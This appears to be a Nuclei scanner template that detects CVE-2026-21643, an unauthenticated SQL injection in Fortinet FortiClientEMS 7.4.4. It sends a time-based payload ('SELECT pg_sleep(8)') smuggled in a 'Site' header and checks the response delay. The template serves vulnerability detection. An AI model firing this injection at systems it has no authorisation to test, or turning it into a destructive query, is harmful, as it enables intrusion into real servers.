id: CVE-2026-21643

info:
  name: "Fortinet FortiClientEMS - SQL Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    An improper neutralization of special elements used in an sql command ('sql injection') vulnerability in
    Fortinet FortiClientEMS 7.4.4 may allow an unauthenticated attacker to execute unauthorized code or commands
    via specifically crafted HTTP requests.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-21643&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=forticlient&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-21643
    cwe-id: CWE-89
  metadata:
    verified: false
  tags: cve,cve2026,sqli,forticlient,ems,fortinet,vkev,kev
http:
  - raw:
      - |
        GET /api/v1/init_consts HTTP/1.1
        Host: {{Hostname}}

      - |
        @timeout: 20s
        GET /api/v1/init_consts HTTP/1.1
        Host: {{Hostname}}
        Site: tenant1; SELECT pg_sleep(8)--

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "SITES_ENABLED\": true")'

      - type: dsl
        name: time-based
        dsl:
          - "duration_2>=8"
          - "status_code_2 == 500"
        condition: and